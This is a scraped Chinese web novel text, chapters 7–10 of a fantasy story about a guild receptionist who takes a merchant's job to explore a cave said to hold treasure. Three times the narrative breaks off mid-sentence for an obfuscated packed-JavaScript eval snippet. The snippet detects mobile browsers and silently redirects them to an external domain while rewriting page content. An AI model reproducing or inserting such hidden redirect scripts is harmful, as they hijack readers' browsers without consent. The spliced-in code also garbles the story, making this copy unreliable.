《接待员小姐的恋爱法则[西幻]》 7. 工作法则七 “卡萝小姐，家主大人邀请您去他的马车小谈。”马车外传来声音。 这种时候就不好拒绝了，毕竟乔先生人很大方，每次想和我聊点什么的时候都会带来一大盒点心。 那些做工精致甜而不腻的小糕点不光是我，卢卡和会长大叔都很喜欢。 “好的，我现在就过去。”我拍了拍卢卡的胳膊，让他把身后的披风拆下来给我。 把发箍摘掉，披风盖住脑袋，宽大的斗篷也顺便将我的接待员制服遮挡住。虽说斗篷只能挡住一些小表情，但比起暴露出整张脸在外已经是现阶段最好的办法了。我也已经想好了，如果乔先生问起来就说是为了隐藏自己的职业,不想被误认为是旷工——我的制服都没来得及换下就上了马车。 “嗯？怎么打扮成这样？” 我一上马车就听到乔先生这么问我。其实他的下属刚刚也有在偷偷地时不时地瞟我一眼，我觉得他应该是觉得“这人好怪哦，再看一眼”所以也就没有阻止他。 “发色太显眼了，而且没能换下制服，我觉得在外行动还是低调点比较好。”我平静地答道，也没有打算摘下兜帽的意思。这样可能不太礼貌，不过比起大概率会乱飞的五官，我觉得只是被贴上“不礼貌”的标签也没什么大不了的。 乔先生理解地点头：“你那头漂亮的银发确实很惹眼。” 这个话题就到此为止吧，我觉得再继续下去会有曝光的危险：“那么，您找我是为了什么事呢？” “卡萝，你有听说过丹吉尔洞穴的传闻吗？”乔先生扶了扶眼镜，把点心盒子推给了我。 和我们的马车不同，乔先生的马车侧面自带一个可以折叠的桌板。那套在公会见过的茶具此刻正摆在一旁。 同时，乔先生的话也让我迅速地从脑海里找到对应的资料。 丹吉尔洞穴，传闻中目击到人鱼的洞穴。 很多年前，有人曾在洞穴外被歌声吸引，进入洞穴后却只见到了黑藻般浓密的头发和一截漂亮得不似普通小鱼的鱼尾。于是，人鱼的传言便扩散开来，直到十年前发生过洞穴坍塌的事件后曾经源源不断涌入冒险家的丹吉尔洞穴才恢复了平静。 所以，据说有宝藏的洞穴就是那个丹吉尔洞穴啊。 “丹吉尔洞穴在坍塌后就很少有人前往探险了吧，为什么会有宝藏的传闻？”我从盒子里取出一块糕点，乔先生之前说的，那个叫绿豆糕的东西。 乔先生作为游商，消息比我这种只能依靠公会的渠道获取的普通打工人要灵通不少。他摸了摸自己唇边的痣，解释道：“这还要从那个目击到人鱼的画家说起。” 我是有听说过目击者是个艺术家，收藏家，没想到他本人还是个画家。 “自从目击到人鱼后，他就沉醉于人鱼的美貌中，作了不少幅画。并且作为传家宝流传了多年，但直到最近，画作被拍卖了。买到画作的行商发现画中暗示了宝藏的地点就在丹吉尔洞穴……” “你买了那幅画？”虽然乔先生没直说，但我知道买了画作的人就是他本人。 他忽地笑了起来：“哈哈哈，没想到这都被你看出来了。” “那是当然的。毕竟大部分人买下画作都是作为装饰欣赏。会把画翻来覆去检查一遍又一遍的只有指望着画作升值的人吧。”不过也因此，乔先生得知了画作中隐藏的秘密。 “画作已经翻了十倍卖出去了。”乔先生扬起唇角。 看来就连洞穴藏宝的消息也是他放出去的，为的就是炒起来这幅画的价格。 不过我还有些地方不太明白……“为什么会有人出十倍的价格购买一幅已经被解读出秘密的画作？” 乔先生食指点唇：“嘘——” 哦，看样子是放了不少假消息出去，真真假假混在一起反而让这幅最能得到精确消息的画作升值了。 可是……“但是能有什么宝藏可以让那么多冒险者都错过？”我不觉得丹吉尔洞穴还留有宝藏，或者说，最开始是否真的有宝藏也是个未知数。 “这就是此行的目的了。”乔先生摊手，“而且不少人可能误会了，那位画家的遗产可是全数交给了后代。所以洞穴里的宝藏不会是钱财或者收藏品。” 说到底，让人误会的消息不就是你放出去的吗……“既然没有财宝……”我就不是很想去了。 “虽说不会是钱财，但是，你难道不会好奇吗？”乔先生双腿重叠，“好奇那所谓的‘宝藏’究竟是什么。” ……好奇心会害死猫，也会害死我，所以我不是很想去探究这件事。 “而且，这次是私下的委托，给你们市面上的三倍价格。”乔先生伸出手，“任务很简单，保护我，找到宝藏。” 三、三倍！而且是不用走公会流程，不用扣除手续费、人工费的三倍价格！ “好的，我们接了。”我立马握住乔先生的手使劲晃了晃，“请放心，我们一定完成任务。” 公会的桌椅板凳都可以换新了，之前考虑的划分出生活区和工作区的愿望也能进一步去考虑了。未来形势一片大好，沃尔德分会简直是蒸蒸日上啊。 见我如此迅速地答应了，乔先生没有露出笑容，反而是摇摇头：“虽然我说了任务的内容很简单，但并不代表这个任务没有危险。” “想知道我出三倍价格的原因吗？” 老实说我不想知道。无知者无畏，有句话是这么说的来着。但是为了安全考虑，我还是违背本心地点点头。 “事实上，我之前派出去调查的几批下属从洞穴出来后都有不同程度的变化。”乔先生声音微沉，“有的人回来后只会痴痴傻傻地笑，有的人精神萎靡成天闷闷不乐，还有的人比以前暴躁了不少……” 看来任务并不简单，我默默地在心里更新了“丹吉尔洞穴”的资料。 “如果可以的话，最好能找到让他们变成这样的根源。”乔先生手上比出了个“2”，“找到根源再加一倍的钱，能找到恢复的办法就两倍。” ！五倍！ “乔先生。”我也严肃了神情。 但不知为何乔先生理解地点头：“我知道的，虽然报酬足够丰厚，但是再怎么说危险性还是有的，你想要拒绝……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358407|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我答应。”我连忙打断他的话，不给他反悔的机会，从随身的小包中拿出纸币“唰唰唰”地写下合同。 “好了，请您签字。”我将完成的合同推向对面，“手印请用这个。” 签字笔的末端有一个小小的盖子，打开就是印泥。这是我前两年研发的小道具，虽然没能推广到所有公会，但在这种时候就派上了用场。 满意地将两份合同中的一份收好，我和乔先生道别后径直跳下了还在行进中的马车。 安稳落地后，身后的马车似乎传来松了一口气的声音，但我没有功夫在意那个。 跑到原本的马车前，我跳上马车，向卢卡宣布了这个好消息：“我们要有钱了。” 卢卡脸上很平静：“嗯。” 可能是因为我以前这么说的次数太多，但最后钱都不知道花去了哪里，所以他也渐渐习惯了“没有期待就不会失望”吧…… “我们真的要有钱了。”我把合同亮给他看，“乔先生雇佣我们当保镖，价格是市面上的三倍。如果我们能解决他的困难，就是五倍的价格。” 我以为能听见卢卡高兴地振臂欢呼，结果他只是在看完合同后提问：“丹吉尔、洞穴？” 好吧，我又把从乔先生那里听来的事情复述了一遍。 “……就是这样，我觉得没有性命危险只是会有些性格上的变化，所以这个价格我们还是赚了很多的。”毕竟真正出力的人是卢卡，我还是得把我的想法解释清楚的。 如果我不说清楚的话，这个孩子就会自己胡思乱想。我们都还是小不点的时候，我要去冒险者公会总部考取“接待员证书”，没和他说明白很快就回来，只说了“我要去王都”。结果这小家伙以为我再也不回来了，偷偷躲在被子里哭了一晚上。第二天还溜进了去王都的马车，直到我要拿行李的时候才发现藏在行李堆里面的他。 “不会、危险。”卢卡向我保证，“保护、卡萝。” “不对，是保护乔先生。”我指正，“我不需要保护，你只要关注好任务目标就行。” 虽然只是猜测，但“只会痴傻地笑”“闷闷不乐”“暴躁很多”这不就是分别对应了喜悦、哀伤、愤怒这三种情绪吗？我觉得比起性格大变，更像是抽空了其他情绪，只余下一种。 对于这种事情我倒是不觉得有什么，因为我这个人本身情绪就很平淡如水。虽然内心活动会丰富一点，但是并不会引起情绪上的变化。 本身情绪就是空白的人，再怎么被抽离情绪，也不会有什么影响吧。 “对了，还可以试试……”我觉得既然面具可以根据我的语言幻化出我根本不会有的表情，那是不是意味着它本身也是一种情绪的产物，或许可以试试能不能依靠那个洞穴把这个面具从我的脸上剥离。 我又摸了摸脸，只能触到冰凉有棱角的面具。即使我知道我真正的脸没有作出表情，但还是从卢卡有些新奇的眼神中看见了我此刻有些怪异的表情。 除此之外，我还有一个比较纠结的点。 “这样子我还能洗到脸吗……” 8. 工作法则八 答案是，洗脸还是可以正常摸到脸部的。 这个面具意外的智能，在我需要吃东西和洗漱时都会自动地退化。但在结束这些动作的下一秒，脸部又会一沉，透明的、有些重量的面具再次覆上我的脸。 晚餐是在森林中围着篝火解决的。 据说乔先生的车队非常幸运地打到了烈焰猪，那种魔物的肉质格外鲜嫩，就算不怎么处理只是烤一烤也很美味。 我和卢卡没蹭上这顿饭。并不是乔先生抠门少我们这顿饭，毕竟从他约定的报酬和以往的交易过程中都可以看出来这人只是喜欢卖些没用又昂贵的东西，平常还是很大方的，尤其是对交易伙伴来说。 就在我们等待烤肉的过程中，我们乘坐的马车传来了动静——查尔斯醒了。 “咳、咳咳。”艰难地从位置上坐起来的查尔斯刚想开口说些什么就是一阵咳嗽。 把水杯递过去，他一饮而尽后才能正常开口：“卡萝小姐……这里是？” 虽然解释起来有点复杂，但我还是尽量用简洁的语言说明了现状：“……因此我们现在在去总部的路上。” “所以……我的冒险者考核要去总部完成吗……那里的测试会不会更严格啊？” ……你就只在意这件事吗……“请放心，所有公会的考核标准都是一致的。” “那就好。”查尔斯只关心了一句他的冒险者考核，就安心地躺了回去。考虑到他现在确实还需要多休息，我和卢卡给他简单煮了碗粥送过去后再回到篝火旁已经没有多余的烤肉了。 “真是不好意思，烤肉已经分完了……”负责烤肉的姐姐感到抱歉，递过来一盘烤鱼，“这个是我刚刚去河边抓的。” “谢谢您。”其实有的吃对我和卢卡来说就很好了，而且下午的时候我们在马车里解决了乔先生送给我的点心，肚子虽然有点饿但是真的不吃东西也不会有什么影响——厨师姐姐还特地为我们制作了烤鱼，真是好心人。 烤鱼的外皮酥脆、肉质鲜美。不愧是乔先生特聘的厨师姐姐，至少让卢卡来烹饪这条鱼的话，肯定会糊掉。 虽然我是不介意回马车睡觉，但是里面毕竟还有一个病人，而且真让卢卡睡在马车地板上我也有些不忍心，所以我们从行李里掏出睡袋——幸好卢卡收拾行李的时候带上了。 在夜风和木柴破裂的“噼啪”声中，我们陷入了沉睡。 再醒来的时候，卢卡已经在收拾睡袋了。我朝四周看看，和我们一样睡在外面的人们都还没醒，似乎是个香甜的梦境让他们脸上都带着笑。 我想也是啦，毕竟睡前吃过一顿香喷喷的烤肉，就算是在梦里也会忍不住回味的吧。 虽然昨天也吃了很美味的烤鱼，但是见到他们这幅模样也想要尝一尝烤肉呢……等回公会让会长大叔烤肉吧。虽然他在金钱方面不太靠谱，但是厨艺方面还是很有两把刷子的。卢卡的厨艺就是他手把手教出来的——我好像没有这方面的天赋。 和卢卡一起完成了照例的晨练——虽然是那种他一直在认真训练我在旁边划水的晨练就是了。等我们一起回到露营地的时候，先前还睡着的那群人已经开始训练有素地分工干活了。 劈柴的劈柴，切菜的切菜，还有人在清点人数。显得刚刚活动完的我们俩人格外突兀。 “啊！卡萝小姐！”听见有人在喊我，我就望了过去。 查尔斯正蹲在熬煮着鱼汤的厨师姐姐旁边朝我挥手。我仿佛幻视了一只摇着尾巴的棕毛小狗。 “有什么事？”可能是因为他的动作神态真的很像一直乖狗狗，我也忍不住蹲下来和他交流。 “我听这位姐姐说，在冒险者总部注册的话只需要三天就能拿到冒险者证了！”他的眼睛闪闪发光，看样子是真的很想当冒险者。 不过，他不是为了卢卡去的沃尔德分会吗？为什么从昨天到今天看到我背后的卢卡都毫无反应？ 出于职业病，我纠正了他言语中的疏漏：“不是三天，是三个工作日。如果您在周五进行申请并通过考核就要等到下一周的周三才能领取到冒险者证，也就是说算上周末是五天的时间。” 唔……总部的话……应该不会卷生卷死，周末也加班吧？ “这样啊。”查尔斯低下头嘴里嘟囔了一句什么又抬头笑着对我说，“那我的第一任务可以拜托卡萝小姐写推荐信吗？” 你还没通过审核就开始想这个了吗……“可以是可以，不过只有跨等级的小队任务才需要有接待员作担保员……您已经找好小队了吗？” “当然！”查尔斯向我比了个大拇指，“目的地很棒哦，据说是旅游胜地黄金之城呢！” ……你是去度假的还是去完成任务啊……不过黄金之城最近有任务来着吗？ “卡萝。”卢卡蹲下来拽了拽我的斗篷边缘，“几天？总部？” “到总部的话大概还需要三天吧。”我歪着头在脑海里过了一遍路线，“因为中间要途经丹吉尔洞穴，而且必要的补给也得在沿途的小镇上补充，所以最快也要三天。” 卢卡知道了时间后就一幅想说什么的样子，我向厨师姐姐和查理斯致意后就拉着他到了另一边：“怎么了？” “他、马车、三天？” 被他这么一提醒，我才想起来，既然查尔斯能够正常活动，就意味着后面的三天我们都要和他同乘一辆马车了。 其实这并没有什么——如果我没有被这个面具掌控表情的话。 现在拜托乔先生另找一辆马车好像也不太合理，但是三天的时间里不可能掩饰好，而且我也不可能时时刻刻戴着斗篷。 看来只剩一个办法了—— “你想要一个人一辆马车？”乔先生面对我的请求有些惊讶，“可是你昨天好像对同乘马车并没有任何的不适。” “是的。但是今天我便发现有诸多不便了。”我在心里默默对卢卡说了声抱歉，“我想换下身上的这套制服都很不方便。” 对此，乔先生能够理解：“不过只要告诉他们你要换衣服了，他们也不会打扰你吧。” ……确实是这样没错，但是……“一辆马车坐下三个人还是有些拥挤，而且查尔斯先生目前还是个病号，我只能和卢卡挤在一起。” “卢卡的体型 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358408|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您也知道，他的个头太大了，我只能缩在旁边，导致我到现在还腰酸背痛。”骗人的，虽然卢卡确实挺大个的，但他会把自己团成一个大团，只占着一半的座位。 “嗯……这样的话确实会很辛苦。”乔先生的食指点了点唇角的泪痣，“路上还要几天，而且之后还要拜托你们两位帮忙……好的，你的要求我明白了，过会儿会帮你安排好的。” “那就多谢您了。”很好，这样路上最大的问题就解决了。 等到早饭后，查尔斯就被安排到了厨师姐姐的那辆马车。她不仅是名厨师，看护病人方面也十分拿手。 我深刻怀疑之前乔先生没打算让这位姐姐照顾查尔斯，是因为他不确定我们会答应合作所以不想多花费心思。 卢卡和我仍然同乘一辆，乔先生的说法是：“换衣服的话有卢卡在马车前守着你也更放心吧？而且一人一边就不会很挤了。” “虽然是这样没错，但是总觉得乔先生是不想再雇一辆马车上路了。明明下一站就是城镇了。”我脱下制服裙装叠好收了起来，从包里翻出衬衫和长裤。 虽然会长大叔最后没有松口给我买一件新的衬衫，但是卢卡穿不下的那件衣服还是被我拿到手了。 摸了摸这丝绸般的材质，我不禁感叹公会的福利待遇就是好。 虽然我的制服裙装也是同样的材质，但是我可没有像卢卡那样，往上升一级就能获得一件新的衣服。 而且我也很久没长个子了，卢卡倒是还在窜高，再加上他经常战斗受伤，所以有很多套衬衫。 我手里的这件，是唯一一件完好的且我能穿上的了。其他的要不就是破破烂烂的被会长大叔改成窗帘、抹布，要不就是太大了，还需要裁剪着改一改。 之前会长大叔也说可以把那些卢卡穿不上的、过大的衣服改一改给我穿，但是……我毕竟还对身高这件事抱有幻想，总觉得自己哪天还会长高。更何况会长大叔只会用剪刀裁衣服，像那种稍微进阶一点的、用针脚缝上多出来的布料这种操作，他根本不会啦。 还有一点就是……衣服大的太多了。如果只是多出一截的话，我还可以拜托酒吧老板帮忙，或者自己用针缝一下。但是已经多出来半个臂膀的话，再怎么缝起来都有些不伦不类的。也有担心这么好的衣服被我糟糕的针线功夫糟蹋的原因，总之，最后我还是穿着那件会长大叔淘汰的衣服。 现在就不一样了。我有了新的衬衫。 哼着歌扣上了扣子，把还是有些长的袖子卷起边。马车外还是没有回应。 我敲了敲车门：“卢卡？还在吗？” “在。”门外传来简单的回话。 看来他没有跑到别的地方去玩。我套上裤子穿好鞋袜，拉开了车门：“好了，你可以上来了。” 推开门却看见卢卡有些闷闷不乐地抱着东西：“乔、送你、衣服。” “嗯？他从哪里买的衣服？”荒郊野岭的也有服装店卖吗？ “先前、买的、礼物。” 我接过衣服，摸了摸面料，感觉质感比公会发的还要好……“你再等一下，我换个衣服。” 9. 工作法则九 “咦，卡萝小姐你换衣服了？” 在小镇里享受午饭时，查尔斯端着碗盘坐到了我的对面。 “这套衣服很适合你呢。”他对我竖了个大拇指，“这个很像东方风格的衣服呢。” 被他这么一说，我总算想起来为什么总觉得这身衣服很眼熟了。这和乔先生身上穿的那件风格很相似啊。不知道是什么面料，但是摸起来很舒服，而且细节处还绣有花的暗纹。袖口处宽大到甚至能塞下东西，腰部却是收紧的。领口的扣子也不像普通的衬衫，是由丝线一点点缝制而成的，纹样像是流云一般。 是因为他本身就是东方人所以喜欢送别人带有东方特征的物品吗？就像那盒里面装有绿豆糕的点心一样。话说那个配方能不能想办法问出来呢……如果材料好拿到手的话让卢卡或者会长大叔学着做……之后在公会开一处点心贩卖的店面也不错，额外的收入就用来…… 啊，想的好像有点远了。 “嗯，是乔先生送我的衣服。”因为吃饭的时候面具不会控制我的五官，所以我安心地摘下兜帽吃着午餐。 今天的午餐是牛排意面。被烤得外焦里嫩的牛排和淋上了黑椒酱汁的意面还冒着热气，再加上流心的鸡蛋。黄色的蛋液流进面条中，和黑色的酱汁融在了一起。稍微搅拌开来——入口。嗯。美味。 查尔斯愣了一下，然后有些诧异地问我：“所以，乔先生为什么……不、那个，卡萝小姐和乔先生的关系是？” “合作伙伴……暂时。”不知道这个合作会持续多久。按照乔先生的想法，我们会在去王都的路上途径一次丹吉尔洞穴，然后我们几人会先短暂地探索一下。 毕竟去王都的安排更为重要，而且物资什么的也需要到王都再次补充，所以只有半天的时间。之后在到达王都，处理完其他事情后，会在送我和卢卡返程的路上再次进入丹吉尔洞穴。 不知道为什么，听到我的回答后，查尔斯的表情变得惊恐起来：“诶？所以！诶？” 这孩子怎么总是一惊一乍的。总觉得他的脑子里在想些什么失礼的东西。 还有他为什么在看向我身后之后表情变得更加惊恐了？不就是卢卡过来了吗…… 我带着碗盘往里挪了挪给卢卡腾出一个座位，顺便让查尔斯注意一下手中叉子上那块就要掉下去的牛排。 被我提醒的查尔斯连忙挪动盘子接住了肉块。 就在这时，刚才点餐处接待我的老板走了过来冲着我道贺：“恭喜啊小姐，您正好是本店的第10000名顾客，像您这样的‘幸运顾客’，我们会赠送您一套本镇服装店时下最受欢迎的服装。” 啊？ 不知道为什么被塞了一套衣服，我抱着纸袋有些发愣地看着老板离开的背影：“他就这么给我了？” 总感觉很可疑啊。乔先生送我衣服我倒是可以理解，毕竟也是有过很多次交易了，偶尔我们也会给乔先生送点小礼物（虽然都是卢卡砍倒的魔物身上的部位）。而且他又是冒险者公会总部的制服合作商，我、卢卡、大叔的身材数据什么的，他都有。所以我对身上的这件衣服合身并不感到意外。 但是这个餐馆的老板是怎么知道这套“最受欢迎的服装”合不合我的尺寸的呢？还是说，只要送了衣服就好，合不合尺寸根本无所谓？ 毕竟还在吃饭，我没打算现场拆开这套衣服。 饭后，因为还有点时间，我就往镇上的服装店跑了一趟。身后还跟了两个小尾巴。 “好厉害，这个小镇看上去不大，但是服装都是时下流行的款式呢！”查尔斯环顾店内，惊叹道。 “卡萝、喜欢、哪件？”卢卡掏出了钱袋子，似乎做好付款的准备了。 我连忙把他手里的钱袋系好，重新塞回他的怀里：“我之前说过的吧，不要随便在外面掏出钱包。”用东方的古话就是“财不外露”吧。 卢卡的零用钱我确实给的比大叔要多一点，因为这孩子没什么物欲，不像是大叔只要拿到手就会花个精光。但太没物欲也不好，他房间里已经攒了不少钱了，即便是有大把的金币收在卧室里，手中钱袋子的重量也不容小觑啊。 把这个问题儿童安置在门边的座位上叮嘱他乖乖坐好，我就去找了店员询问：“您好，请问这套衣服是您家售卖的吗？” 店员查看了下包装和外面的标签就很肯定地说：“是的，这是最近最流行的款式哦。请问您有什么问题呢？” “啊，是这样的，我想知道那个餐馆的老板是什么时候购买的这套衣服。听说我是第10000名顾客所以送了我这样一套衣服，我有些不敢相信。”我努力地把内心的怀疑包装成是因为太开心而不可置信。 直说出我的担忧总觉得会被当成不理解别人善意的坏家伙。我有时候也觉得应该改一改自己这种个性。 店员小姐听完就笑着摆了摆手：“哎呀，您就收下吧。餐馆的老板每个月都会随机挑一名客人送衣服的，每次的理由都是‘10000名顾客’。” “啊，这么做的理由是？”看来不是第一次这么做了。 “哎呀，因为我们店的老板就是餐馆老板的孩子啦。”店员小姐压低声音，“餐馆老板每个月都会买最火爆的那件衣服然后送给客人，是希望能够给店长宣传店铺呢。” 原来如此。“所以会尽量挑选符合购买的衣服尺码的客人来赠送吗？”同行人中身材和我相似的人也有不少……这么说还真是“幸运顾客”？ “您说的没错。”店员小姐笑着指了指店铺最中心的那件衣服，“不过，尺寸是符合了，但是可能不太适合您吧。毕竟您身上的这套东方风格的长裙……您应该是偏好东方风格？我们店里也有类似的服装，如果不喜欢的话也可以从店里面挑一件换哦？我们这里提供‘售后服务’的。” 看来因为餐馆老板的行为已经引来不少对此抱有疑问的客人了，这位店员小姐的应对措施堪称熟练。如果这家店也有店员称号的话，我觉得完全可以颁给她“金牌店员”——嗯，就像我的“金牌接待员”一样。 “啊，没关系的。”我摇摇头，“我对于时尚并不太懂也没有什么偏好，只要衣服能穿就好。” 薄纱和丝绸的白色短裙确实不是我习惯的穿衣风格，倒是很像精灵会穿的衣服。不过这个面料和材质当作睡裙也很不错，虽然有点浪费。 店员小姐捂着嘴：“天哪，那也太遗憾了。虽然看不清您的面容，但是您的身材绝对适合这款！深棕色的皮革很衬您的肤色，紧身的设计也能很好地体现出您的身材，看您的打扮应该是经常出门在外吧？这件衣服的内外侧都有不少口袋，完全可以存放道具！而且我们的材质柔软，就算您是在全速奔跑的过程中也不会感到任何不适。啊！我觉得这款也很适合您，和您的斗篷一样是藏青色的礼裙，裙摆看上去厚重但实际上很轻便，即使在舞池中跳上一天的舞也不会有沉重的负担！还有这款，和您身上的这件长裙风格极其相似。只不过我们没有选择收紧腰部体现腰线，而是采用了金丝绳调节腰部。如果您喜欢宽松的衣服只需要拽一拽腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358409|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧的布，绳子就会变长，可以打成您喜欢的花样……” 店员小姐的嘴巴“叭叭叭”地一口气介绍了三四款服装，我最后只能随便找了个“对不起，我还有事的”理由敷衍她逃出这家店了。 “呼——”跑到约好的集合点，我擦了擦脑门上的汗。以往都是我充当不断说话推销产品的角色，等轮到被推销的人是我时反而有些招架不住。看来以后我的推销策略要变动成至少不能给顾客逃跑时间的方针了。等等，是不是把他们两个忘在店里了……算了，应该会自己回来的。 在等待其他人的过程中，我一直抱着餐馆老板送的袋子，在内心推敲如何堵住顾客的所有退路，让他们乖乖交钱买货。 卢卡抱着四个袋子回来了。 看包装，好像是刚刚那家服装店的。 “卡萝、给你。”卢卡把四个袋子都堆到我怀里，看见我一个人拿不下五个袋子又抱走其中三个。 ……我该想到的。刚刚走的时候就应该拉着卢卡一起离开才对。 他平常很少和人打交道，更多的情况都是在和魔物战斗，怎么可能招架得住那位店员小姐的疯狂推销。 我想让卢卡去把衣服退掉，但是看见他亮晶晶的写满了“想要夸奖”的眼睛又说不出话来。 “好乖好乖。”我腾出一只手摸了摸半蹲在我面前的卢卡的脑袋，“但是下次不要再买了，零花钱是让你买自己想要的东西的。”就像大叔的那堆没用物品和我房间的一堆小说一样。 “想要、卡萝、开心。”卢卡用脑袋蹭了蹭我的手，这样子真的很像一只乖狗狗。 “你开心的话我也会开心，大叔开心的话我也会开心。”我拍了拍他的脑袋，“所以买你喜欢的东西让你自己高兴的话我就会满足了。” 见时间不早，我抱着几个袋子上了马车。 卢卡跟在我身后：“为什么？” 嗯……为什么呢？虽然大叔每次买那些没用的东西我都很头痛，但是看到他脸上的笑容，我又觉得有什么东西填满了内心。 “大概是因为，我们是家人吧。”我把袋子堆到座位上，在思考过后得出了答案。 我们是家人。虽然我们性格不同、出身不同、习惯不同、甚至血管里留着不同的血，但我们是家人。是没有血缘的、无可替代的家人。 卢卡歪着头，像是在理解我的话，然后重重地点头：“嗯。家人。送卡萝、礼物、我、开心。” ……竟然学会了用我的话反驳我，这家伙的学习能力真是不可小觑啊…… “好吧，你想送礼物倒是没问题。”不如说，我也不会拒绝送到手上的礼物，“但是不要学会长大叔那样买很多没用的东西，不然我会生气的。” “生气？”卢卡没有被吓退，反而有些跃跃欲试的样子，“卡萝、生气？什么、样子？” ……所以说，有的时候总是瘫着一张脸让别人感知不到情绪变化的话就会是这个样子。 我扯下兜帽，让面具帮我做出表情：“我现在已经生气了。” 在我的想象中，不说竖起眉毛，至少也得是嘴巴向下撇的表情吧。但是卢卡看着我的表情，不仅没有害怕，甚至是三分好奇、三分疑惑、四分高兴的表情。 ……所以这个面具到底干了什么啊…… 我抽出卢卡的剑，在剑身上看见了我自己的脸——脸颊染上红晕，嘴唇翘起，眼睛里闪着光。 …… 我把剑插了回去，重新戴上了兜帽：“算了，当我没说。” 10. 工作法则十 在到达下一站城镇前，我一直保持着沉默。 并不是因为不自在或是别的什么，我只是担心这张面具会擅自曲解我的话做出奇怪的表情而已。绝对不是因为不自在。 卢卡似乎对这一状况接受良好。好像是因为我以前这么做的次数太多，他也渐渐习惯了。 像是以前教他认字还有说话的时候，我在进行教学的一个小时后就会感到无聊。然后就会自己抱着书到另一边看了。这个时候，卢卡通常会很自觉地坐到离我不远的地方做着自己喜欢的事情。 诶……这么说起来……这孩子到现在说话还不利索是因为我的教育不够成功吗……不，怎么想都是他自己不爱说话的原因，肯定不是我的错。 平静地下车、走进餐馆吃午饭，直到身后人们的聊天才让我结束了这种半丢魂的状态。 “听说丹吉尔洞穴有可以解除所有幻术的神奇药草！” 幻术。听到这个单词我立马集中了精神。要知道，青鬼擅长的术法就是幻术。那么这枚面具说不准也是由幻术构成的。 “好像是叫‘夜月草’吧……据说只要将这种药草捣出汁水抹在需要的地方就可以解除幻术了。” “不过这种药草到底长什么样……好像有各种说法。” “最靠谱的还是‘黄金之王’提出的吧，毕竟她可是极力打击幻术，研究了不少草药道具呢。” “啊，你是说，她提出的‘月夜照耀到的药草即为夜月草’这个理论吗？感觉像是儿戏。” “这种药草的市场前景好像也很一般，我们似乎不能指望这个赚钱……而且黄金之王似乎不再收购这种药草了……” “唉……还是在找找别的路子吧，不论如何也想要去黄金之城看看呢……” 不知道为什么，这两位路人在提及“夜月草”时提高了音量，在结束这方面的话题后又兀自压低了声音。 但是他们话里的信息量对我来说还是很重要的，看来这个丹吉尔洞穴是非去不可了。 这次我没有遭遇什么免费送衣服，也没有跑到其他商店逛了。安安静静地坐在马车的不远处，我和卢卡，一个发呆，一个擦拭着银剑。 正当我以为就可以这么持续到大家集合时，一个负责后勤的女孩子面色焦急地冲到了乔先生面前，指着存放货物的马车说着什么。 卢卡似乎也意识到了不对劲，他把银剑插回刀鞘，和我一起凑了过去。 “发生什么事了？”在乔先生冷静地安排身边的下属去处理问题后，我走过去询问情况。 乔先生头疼地扶额摇了摇头：“没什么大事，就是有些货物被衣鱼虫咬了。” 看来这些货物中包括要售卖的商品了。 我顺便拍了拍卢卡的手背让他去查看一下我们的行李有没有损伤。 “衣鱼虫？”我从未听说过这种生物，因此便问出口。 “啊，也是，沃尔德那边的气候比较干燥，没听说这种生物也很正常。”乔先生捏了捏眉心，“这是一种会啃食衣物、纸制品的虫子，因为游走的速度像鱼一样快而得名衣鱼虫。虽然不会对人体造成伤害，但是其极易繁殖，食用灰尘也可以生存下去，所以想要清剿它们也很麻烦。” “卡萝、没事。”卢卡也在这时候回来了。看来我们那辆马车没有遭受衣鱼虫的袭击。 “这样啊，看来你们的马车是唯一幸存的一辆了。”乔先生叹气，“总之，我们的行程得放缓了。不管是清点出幸免于难的货物转移，还是清除衣鱼虫都是一项大工程。明天出发可以吗？” 我对此当然毫无意见。虽然很着急获得夜月草，但是天大地大老板最大。 又简单叮嘱我们几句后，乔先生就离开去处理这次“灾难”了。 “真是可怕啊。”我不禁有感而发，“虽然体积不大，伤害不高，但是能让人如此头疼。” 或许此刻正有人因为这讨厌的小虫子愁得睡不着觉。 不过这件事我是帮不上什么忙了。乔先生和他的下属们处理这件事似乎十分熟练，不一会儿原先的空地上就摆满了货物。 “这是在做什么？” 厨师姐姐也被叫过来帮忙了，她一边分拣着货物，一边向我解释：“衣鱼虫喜欢在潮湿温暖的环境下生存，所以把货物放在太阳底下暴晒就可以减少它们生存的几率了。” “所以气候寒冷又干燥的沃尔德才很少见这种生物啊。”虽然我是希望永远别见到比较好。 不然哪天的夜晚正开开心心往床上一躺，转个头就看见一只虫子阴暗地爬行中，不论是谁都会彻夜难眠吧。当然，我的话，还要爬起来把床单被套全部清洗干净在太阳底下晒个三天三夜才行。 